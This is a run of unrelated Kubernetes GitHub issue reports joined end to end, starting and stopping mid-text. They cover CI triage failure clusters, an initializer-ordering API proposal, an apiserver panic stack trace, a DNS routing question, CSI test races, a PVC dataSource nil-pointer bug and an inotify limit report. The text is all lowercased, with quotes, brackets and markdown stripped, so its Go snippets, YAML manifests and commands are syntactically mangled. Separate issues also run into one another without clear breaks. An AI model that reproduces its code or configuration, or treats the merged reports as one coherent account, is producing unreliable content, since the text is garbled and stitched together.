valid_lft forever preferred_lft forever\r 10: weave: <broadcast,multicast,up,lower_up> mtu 1410 qdisc noqueue state up\r     link/ether 62:b4:cc:1f:27:8d brd ff:ff:ff:ff:ff:ff\r     inet 10.44.0.0/12 scope global weave\r        valid_lft forever preferred_lft forever\r     inet6 fe80::60b4:ccff:fe1f:278d/64 scope link\r        valid_lft forever preferred_lft forever\r 11: dummy0: <broadcast,noarp> mtu 1500 qdisc noop state down\r     link/ether fa:2a:c6:55:f6:63 brd ff:ff:ff:ff:ff:ff\r 13: vethwe-datapath@vethwe-bridge: <broadcast,multicast,up,lower_up> mtu 1410 qdisc pfifo_fast master datapath state up qlen 1000\r     link/ether 3e:94:a6:54:05:46 brd ff:ff:ff:ff:ff:ff\r     inet6 fe80::3c94:a6ff:fe54:546/64 scope link\r        valid_lft forever preferred_lft forever\r 14: vethwe-bridge@vethwe-datapath: <broadcast,multicast,up,lower_up> mtu 1410 qdisc pfifo_fast master weave state up qlen 1000\r     link/ether 9e:18:6a:3b:e7:3c brd ff:ff:ff:ff:ff:ff\r     inet6 fe80::9c18:6aff:fe3b:e73c/64 scope link\r        valid_lft forever preferred_lft forever\r 42: vethwepl8220efd@if41: <broadcast,multicast,up,lower_up> mtu 1410 qdisc noqueue master weave state up\r     link/ether 7a:b0:c5:c5:5b:64 brd ff:ff:ff:ff:ff:ff link-netnsid 0\r     inet6 fe80::78b0:c5ff:fec5:5b64/64 scope link\r        valid_lft forever preferred_lft forever\r    \r \r the ip of this node is 10.145.101.91\r \r  root@k8s-09 ~   cat /etc/hosts\r    \r 127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4\r ::1         localhost localhost.localdomain localhost6 localhost6.localdomain6\r    \r    root@curl-2421989462-9xhbw:/  $ cat /etc/resolv.conf\r    \r search default.svc.cluster.local svc.cluster.local cluster.local huaweilab.com\r nameserver 10.96.0.10\r options ndots:5\r    \r

failure cluster  52d97722fe168ec6a414  https://go.k8s.io/triage 52d97722fe168ec6a414        error text:     error: 1 leaked resources   routes   +default-route-d9c23f0224778f26  default  10.152.0.0/20                            1000           failure cluster statistics: 1 tests failed,    113 jobs failed,    113 builds failed. failure stats cover 1 day time range '20 jun 2017 19:59 utc' to '21 jun 2017 19:59 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | diffresources | 113 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-slow-release-1-7 | 1 |  21 jun 2017 08:16 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-slow-release-1-7/302  | | ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-cluster | 1 |  21 jun 2017 02:04 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-cluster/36  | | ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster | 1 |  20 jun 2017 20:43 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster/24  |   current status  https://go.k8s.io/triage 52d97722fe168ec6a414

high failure rate  https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=garbage%20collector%20should%20not%20be%20blocked%20by%20dependency%20circle \r \r perhaps it has the same root cause as https://github.com/kubernetes/kubernetes/issues/49966

current status\r  metadata.initializers.pending  is a list of initializer names. our  doc  https://kubernetes.io/docs/admin/extensible-admission-controllers/  says the initializer controller is triggered if its name matches  metadata.initializers.pending 0  , that means initializers run in serial. the order is not enforced.\r \r     initializers need to run in parallel\r \r otherwise initialization is too slow. the watch latency can be a few seconds, an update request can take a few hundreds ms, also an initializer controller might take time to reserve external resources. running initialization in serial won't scale to more than 10 initializers.\r \r initializer controllers should use patch to avoid conflicts.\r \r     initializers have dependencies\r \r not all initializers can run in parallel. taking our existing mutating admsision plugins as an example, initializers that add/remove containers must finish before  alwayspullimages ,  resourcequota , and  initialresource  initializers  assume they are converted to initializers .\r \r     api requirements\r \r   cluster admin needs to be able to specify partial order for initializers. \r   the order must be dynamic. admin can expand the order when adding new initializers.\r   the apiserver should be able to enforce the order.\r \r     suggested api changes\r for the  initializer registration  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/admissionregistration/v1alpha1/types.go l62  api, add a  prerequisites  field:\r    go\r type initializer struct {\r \tname string\r \t// prerequisites are the initializers that must finish before this initializer is triggered.\r \t// we can add an admission plugin to detect cycles, or let the intiailizer admission\r \t// plugin detect the circle  less efficient .\r \tprerequisites   string\r \trules   rule\r \t...\r }\r    \r \r for the  initializer list  https://github.com/kubernetes/kubernetes/blob/v1.8.0-alpha.2/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/types.go l255  in each object, i.e.,  metadata.initializers.pending x  , add the  prerequisites  field:\r \r    go\r type initializer struct {\r \tname string\r \t// prerequisites are the initializers that must finish before this initializer.\r \t// when an object is created, the initializer admission plugin copies the prerequisites \r \t// from the initializer registration api to here.\r \t// an update request is invalid if it removes this initializer while there is\r \t// still any prerequisite initializer in metadata.initializer.pending list.\r \tprerequisites   string\r }\r    \r \r @smarterclayton @erictune @deads2k \r \r \r \r \r \r \r \r

for both  auger  https://github.com/jpbetz/auger  and a declarative application management tool prototype @monopole has been working on, there is a need to depend on the resource type information in the main kubernetes repo:\r -  k8s.io/kubernetes/pkg/api   for  api.registry  and  api.codecs  \r -  k8s.io/kubernetes/pkg/kubeapiserver/options   which registers the \ \  group on init \r \r currently, the only possible approach is to vendor in all of  k8s.io/kubernetes , which is not intended to be vendored.\r \r if kubectl were to be split out into it's own repo  i heard a rumor this might happen  then would it be reasonable to move the api registry and codecs up into a shared common project as well?\r \r see also:\r    find home for shared k8s-specific libraries  https://github.com/kubernetes/kubernetes/issues/50475 \r    figure out how to handle code in multiple repos  https://github.com/kubernetes/kubernetes/issues/24343 \r    decoupling kubectl from kubernetes  https://github.com/kubernetes/community/pull/598 \r \r 

failure cluster  fa40aed6bf311152a220  https://go.k8s.io/triage fa40aed6bf311152a220        error text:     error during make -c /workspace/kubernetes-anywhere wait_for_kubeconfig=y deploy: exit status 2           failure cluster statistics: 1 tests failed,    10 jobs failed,    85 builds failed. failure stats cover 1 day time range '25 oct 2017 22:28 utc' to '26 oct 2017 22:28 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 10 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kubeadm-gce-cni-calico | 47 |  26 oct 2017 22:21 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-cni-calico/329  | | ci-kubernetes-e2e-kubeadm-gce-cni-flannel | 11 |  26 oct 2017 21:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-cni-flannel/690  | | ci-kubernetes-e2e-kubeadm-gce-stable-on-master | 11 |  26 oct 2017 21:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-stable-on-master/1954  |   current status  https://go.k8s.io/triage fa40aed6bf311152a220

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i have a v1.8.6 cluster panic twice, i doubt where to pass an nil context.\r    golang\r // auditeventfrom returns the audit event struct on the ctx\r func auditeventfrom ctx context   audit.event {\r \tev, _ := ctx.value auditkey .  audit.event \r \treturn ev\r }\r    \r apiserver log:\r    \r i0228 15:56:35.083908       1 trace.go:76  trace 24533386 : \ update /apis/loadbalance.caicloud.io/v1alpha2/namespaces/kube-system/loadbalancers/de\   started: 2018-02-28 15:55:35.062227089 +0000 utc   total time: 1m0.021612612s :\r trace 24533386 :  1m0.021612612s   1m0.021612612s  end\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x38 pc=0x11a06bf \r \r goroutine 18221499  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.auditeventfrom 0x0, 0x0, 0xc4261ce7c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/context.go:158 +0x2f\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x0, 0x0, 0x9af2f00, 0xc4261ce7c0, 0xc42acc3d40, 0x17, 0xc424b09bb8, 0x8, 0x7fc37ef10658, 0xc431155950, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:108 +0xab\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x0, 0x0, 0x9ac6540, 0xc431fc8dc0, 0x9af2f00, 0xc4261ce7c0, 0xc42acc3d40, 0x17, 0xc424b09bb8, 0x8, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:132 +0x16b\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc431ebc000, 0x9ac6540, 0xc431fc8dc0, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:80 +0x10e\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.updateresource.func1 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:865 +0x1578\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver.  crdhandler .servehttp 0xc420c22600, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go:219 +0xf1b\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc4240e1c80, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x3dd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc420909c70, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x48e7a9a, 0x17, 0xc4210d9200, 0xc420909c70, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc420b6e820, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t<autogenerated>:69 +0x86\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc4252fde00, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:254 +0x26e\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4208fa8c0, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x48b77c4, 0xe, 0xc4210a2750, 0xc4208fa8c0, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc420acecc0, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t<autogenerated>:69 +0x86\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc42bed0b00, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91 +0x122\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc42bfc82c0, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x3dd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4215e1650, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x48bc002, 0xf, 0xc426ae14d0, 0xc4215e1650, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc42422b500, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t<autogenerated>:69 +0x86\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37a\r net/http.handlerfunc.servehttp 0xc421e39f90, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:98 +0x5a0\r net/http.handlerfunc.servehttp 0xc4240e1dc0, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x21b2\r net/http.handlerfunc.servehttp 0xc421c7a690, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b0\r net/http.handlerfunc.servehttp 0xc421c7a6e0, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r net/http.handlerfunc.servehttp 0xc42422b520, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withcors.func1 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/cors.go:75 +0x189\r net/http.handlerfunc.servehttp 0xc4239bcae0, 0x7fc37ef10658, 0xc431155950, 0xc42e13b600 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc42422b5a0, 0x9af6700, 0xc431155950, 0xc42e13b600, 0xc436ed9200 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:106 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:108 +0x1ca\r    \r \r cc @sttts \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r after i set up the firewall, i lost the ability to obtain dns records via 10.96.0.10. after a bit of research i discovered that all the requests to and from 10.96.0.10 go via the external network. probably, this is a problem somehow related to the fact that linode puts an internal private network to the same interface as an alias  i.e.  eth0:1  . also, i use flannel. apart that all other requests go via the internal network.\r \r i expect all the requests to and from 10.96.0.10 to go via the internal network. for now i manually allowed connectivity between the public ip addresses, but this is not what i really want to do.\r \r   environment  :\r \r    \r packet@kube-master:~$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - i use linode with public and private ip addresses set.\r - i run that on ubuntu 16.04.2 lts\r \r    \r packet@kube-master:~$ uname -a\r linux kube-master 4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r \r i'm new to kubernetes, so if you require something else, please let me know, i will post it here.

  \r as i cannot reopen  58742 , i duplicate it\r \r   proposed feature  \r where the command will exit when all pods in the job are terminated but not before, and return an exit code of 0 if all pods were successful, or appropriate exit code if some pods did not succeed.\r \r this would allow actions to be performed after the job has run - without polling - dependent on the jobs overall \ success\ .\r \r for e.g. running performance tests from parallel pods using a job, and performing post-processing when all pods are completed.\r

this is somewhat related to  68261.\r \r  csiskipattach tests  https://github.com/kubernetes/kubernetes/blob/860d3cb32c2b52836e1acbacb564698cbaeaacb4/test/e2e/storage/csi_volumes.go l124  do these things:\r \r 1.\r     1. create csidriver crd  in beforeeach .\r     2.  optionally  create csidriver instance.\r     3. create a pod and check that volumeattachment was  not  created.\r 2. \r     1. delete pod\r     2. delete csidriver instance\r     3. delete csidriver crd  !!! \r \r what happens in a/d controller  and in kubelet too :\r \r a. kubelet and a/d controller create informer on csidriver. when the crd does not exists, it tries periodically every second until the crd is created.\r b. when creating a pod, a/d controller looks into the informer cache if it has csidriver for that volume. if not, it creates volumeattachment.\r \r thing is that a/d controller  and kubelet  informer does   not   react to csidriver crd deletion. it keeps watching the old csidriver crd and it won't get events when new crd and its crs are created. so a/d controller still sees the csidriver created by the first test.\r \r   how to reproduce it  as minimally and precisely as possible   :\r with  69331 merger, run the cluster:\r \r    \r runtime_config= allow_privileged=1 feature_gates=\ blockvolume=true,mountpropagation=true,kubeletpluginswatcher=true,csinodeinfo=true,csidriverregistry=true\   hack/local-up-cluster.sh -o\r    \r \r run e2e tests:\r    \r go run hack/e2e.go -- --provider=local --test --test_args=\ --ginkgo.focus=csi.attach.test.using.hostpath.driver\ \r    \r \r in addition, the test does not give kubelet/a/dcontroller enough time to get a newly created csidriver, so it's racy even if csidriver crd was installed only once.

   \r we are injecting a restmapper into this admisson controller while in its test, the restmapper somehow become empty when we remove internal clientset/informer dependency from it   70167 . now we come up with a walkaround in which we manually init the legacy schema via a dry import so that the built-in resources can be installed. this failing test suggests that the test is not quite correct logically.  \r \r \r \r

https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/2394 sig-network-services-should-reconcile-lb-health-check-interval-slowserial\r \r  should reconcile lb health check interval  slow  serial  \r \r is failing with \ framework.restartcontrollermanager   = unsupported provider: gke; want nil\ \r \r 

which jobs are failing  :\r all new tests introduced for api change\r \r   which test s  are failing  :\r new alpha subpathexpr tests  feature:volumesubpathenvexpansion  nodealphafeature:volumesubpathenvexpansion \r \r existing tests are working fine and the whole suite works correctly in the gce suite\r https://k8s-testgrid.appspot.com/sig-storage-kubernetes gce-alpha-features\r \r   since when has it been failing  :\r 21st february 2019  since merge of pr  \r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-node-kubelet node-kubelet-alpha\r \r   reason for failure  :\r investigation shows that node e2e tests use a different framework pod creation pattern\r \r doing some comparisons of tests that work and those that don't reveals differences in the standard client set as\r \r  pod, err := f.clientset.corev1  .pods f.namespace.name .create pod  \r \r and the existing ones which do work go through the intermediate  f.testcontaineroutput  which uses  podclient.create \r \r the  podclient  version has an additional function specifically for node tests\r    \r // mungespec apply test-suite specific transformations to the pod spec.\r func  c  podclient  mungespec pod  v1.pod  {\r    \r \r \r

\r   what happened  :\r while implementing the new volumepvcdatasource feature i discovered that even though the we don't use apigroup  the appropriate setting is  \ \    if the apigroup is omitted it results in a nil pointer exception on the api server.\r \r   what you expected to happen  :\r apigroup should be able to be omitted from the spec \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a spec to create a clone of a pvc with out the apigroup parameter in the datasource spec:\r \r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: hp-pvc-clone\r spec:\r   storageclassname: csi-hostpath-sc\r   datasource:\r     name: src-hp-pvc\r     kind: persistentvolumeclaim\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r    \r the result will be an nil pointer exception during the verification of the datasource field.\r \r adding the apigroup entry will address this as a work-around:\r \r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: hp-pvc-clone\r spec:\r   storageclassname: csi-hostpath-sc\r   datasource:\r     name: src-hp-pvc\r     kind: persistentvolumeclaim\r     apigroup: \ \ \r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.3\ , gitcommit:\ 5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0\ , gittreestate:\ clean\ , builddate:\ 2019-06-06t01:44:30z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.1.33084+d873167e8f816f-dirty\ , gitcommit:\ d873167e8f816f5f83846bc4587c3047452293bd\ , gittreestate:\ dirty\ , builddate:\ 2019-06-12t22:12:02z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - install tools:\r \r local-up-cluster.sh

from irc:  using cgroupparent=/ and moving all containers to top-level causing wrong scope name creation on systemd systems. we should fix this in libcontainer, but this needs a workaround in kube for now:  kubelet 864 : e0513 22:17:27.633873     864 manager.go:1436  failed to create pod infra container: api error  500 : cannot start container 5382b876ff71055afc01ca53c763655dfe67d96d1444cc5e7cf2e1a034d6fd14:  system error: unit name /-5382b876ff71055afc01ca53c763655dfe67d96d1444cc5e7cf2e1a034d6fd14.scope is not valid.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce/19376/  failed:  k8s.io  networking should provide internet connection for containers  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:55 expected error:     < errors.errorstring | 0xc820b46750>: {         s: \ pod 'wget-test' terminated with failure: &{exitcode:1 signal:0 reason:error message: startedat:{time:2016-06-28 15:00:53 -0700 pdt} finishedat:{time:2016-06-28 15:01:23 -0700 pdt} containerid:docker://a239a489fd5fdb56dc589dd9ad7ac76fe7389fa0e557fa726d5594ee2d5e3c35}\ ,     }     pod 'wget-test' terminated with failure: &{exitcode:1 signal:0 reason:error message: startedat:{time:2016-06-28 15:00:53 -0700 pdt} finishedat:{time:2016-06-28 15:01:23 -0700 pdt} containerid:docker://a239a489fd5fdb56dc589dd9ad7ac76fe7389fa0e557fa726d5594ee2d5e3c35} not to have occurred      previous issues for this test:  26171

we assume equivalence pod will reduce scheduling latency in large scale.  i. original discussion is https://github.com/kubernetes/kubernetes/issues/17390 there's a simple way introduced there to define the equivalence pod  by caching predicates & priorities , but during implementation https://github.com/kubernetes/kubernetes/pull/31605, we found that is not enough.  for example: - pods with different namespaces, since some predicates only consider pods in same namespace - labels should be considered? - special annotations, like affinity? - others  ii. another alternative is treating   instances of rc   as equivalence pods.   this issue is for track this discussion and define the scope of equivalence.  cc @davidopp @wojtek-t

we implemented \ re-discovery\  if the resource name doesn't match one we know:\r \r    \r kubectl get posd    <-- triggers full rediscovery\r    \r \r 1. unfortunately, this means that having a typo here will now always take >2-5s to resolve  if you're on a slow connection, it could be minutes .\r 2. if you typo twice in a row, you download all discovery docs twice  the odds of this actually helping are almost zero \r 3. we don't have etag or \ if not modified\  checks on these resources... so the user has to download them every time and they are not small\r 4. we get rate limited by the client  throttled client side  when we download these - which means when you have lots of groups we get even slower.\r \r we need to be smarter, this is very annoying even when latency is 0.

is this a request for help?   \r no\r \r   what keywords did you search in kubernetes issues before filing this one?  \r max_user_watches\r  32526\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r aws kops\r -   os    e.g. from /etc/os-release :\r debian/jessie\r -   kernel    e.g.  uname -a  :\r linux ip-172-21-0-25 4.4.26-k8s  1 smp fri oct 21 05:21:13 utc 2016 x86_64 gnu/linux\r \r    sysctl -a | grep fs.inotify.max_user_watches\r fs.inotify.max_user_watches = 8192\r    \r   what happened  :\r many node.js applications use file watches on many directories to detect when to reload the application dynamically. running out of file watches will result in  enospc  errors.\r \r   what you expected to happen  :\r no enospc errors.\r \r   how to reproduce it    as minimally and precisely as possible :\r in any pod, do this:\r    \r sudo apt-get install -y 